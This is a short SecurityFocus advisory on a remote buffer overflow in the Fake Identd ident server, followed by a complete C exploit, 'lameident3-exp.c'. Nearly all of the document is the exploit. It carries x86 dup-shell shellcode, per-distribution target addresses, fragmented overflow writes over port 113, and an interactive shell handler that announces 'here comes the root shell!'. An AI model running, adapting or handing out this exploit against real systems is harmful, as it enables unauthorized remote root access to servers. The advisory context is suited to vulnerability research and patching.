// source: https://www.securityfocus.com/bid/5351/info
Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems.
Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible.
/* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com
* this should work for most Linux distributions without needing
* any modifications
*
* fakeidentd exploit 3rd revision.
* v1.4 http://software.freshmeat.net/projects/fakeidentd/
* v1.2 http://hangout.de/fakeidentd/
*
* vuln found by Jedi/Sector One
* Other people who worked on the same bug and shared ideas:
* Charles "core" Stevenson, Solar Eclipse
*
* 7/25/02
*
* Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
* running it.
*
* 0dd, irc.pulltheplug.com, b0red
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ALIGN 1 /* you probably dont need to touch this */
#define IDENTPORT 113
#define USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */
#ifdef DEBUG
#define DUPFD "\x04"
#else
#define DUPFD "\x02"
#endif
/* dup() shellcode from Charles Stevenson <core@bokeoa.com> */
char lnx86_dupshell[]=
"\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
"\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
"\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
struct Targets {
char *name;
long baseaddr;
char *shellcode;
};
struct Targets target[] = {
{ " gcc-2.91.66 x86\n"
" * Slackware 7.1\n"
" * RedHat 6.2\n",
0x0804b0a0, lnx86_dupshell },
{ " gcc-2.95.3/4 x86\n"
" * Slackware 8.1\n"
" * Debian 3.0\n",
0x0804a260, lnx86_dupshell },
{ (char *)0, 0, (char *)0 }
};
void sh(int sockfd);
int max(int x, int y);
void fail(char *reason) {
printf("exploit failed: %s\n", reason);
exit(-1);
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int make_connect(struct in_addr host) {
int s;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(IDENTPORT);
sin.sin_addr.s_addr = host.s_addr;
if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
fail("could not create socket");
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
fail("could not connect\n");
return(s);
}
int main(int argc, char *argv[]) {
int s, a, uwait = USLEEP, nops = 500;
long baseaddr;
long shelladdr = 0xbfffa090;
long pointaddr = 0;
char buf1[2020], buf2[32], *p, *shellcode;
struct in_addr host;
printf("lameident3-exp.c by sloth @ b0red\n");
if(argc<3) {
printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");
for(a=0;target[a].baseaddr;a++)
printf(" %d: %x %s", a, target[a].baseaddr, target[a].name);
exit(-1);
}
for(a=0;a<atoi(argv[1]);a++)
if(!target[a].baseaddr)
fail("invalid target");
baseaddr = target[a].baseaddr;
shellcode = target[a].shellcode;
if(argv[3]) uwait = atoi(argv[3]);
if((host.s_addr = resolve(argv[2])) == -1)
fail("invalid host");
memset(buf1, 0, sizeof(buf1));
memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr - 5;
send(s, buf2, 5, 0);
usleep(uwait);
p = buf1;
printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);
for(a=0;a<=strlen(buf1), *p;) {
if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
fail("write error");
p += a;
usleep(uwait);
}
close(s);
usleep(100);
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;
send(s, buf2, 5, 0);
usleep(uwait);
p = buf1;
pointaddr = shelladdr + strlen(buf1) + 20;
printf("Writing pointers to 0x%x\n", pointaddr);
memset(buf1, 0, sizeof(buf1));
for(a=0;a<=512;a += 4)
*(long *)&buf1[a] = shelladdr + 500;
for(a=0;a<=strlen(buf1), *p;) {
if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
fail("write error");
p += a;
usleep(uwait);
}
close(s);
usleep(uwait);
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = 0xffffffff - 0x9f - 5;
send(s, buf2, 5, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
*(long *)&buf2[0] = pointaddr + 200 + ALIGN;
send(s, buf2, 4, 0);
close(s);
usleep(uwait);
s = make_connect(host);
send(s, "1234, 1234\n", 11, 0);
usleep(uwait);
printf("here comes the root shell!\n");
sh(s);
close(s);
}
/* mixters */
int max(int x, int y) {
if(x > y)
return(x);
return(y);
}
/* mixters sh() */
void sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));
for(;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0)
fail("could not spawn shell");
fputs(rcv, stdout);
}
}
}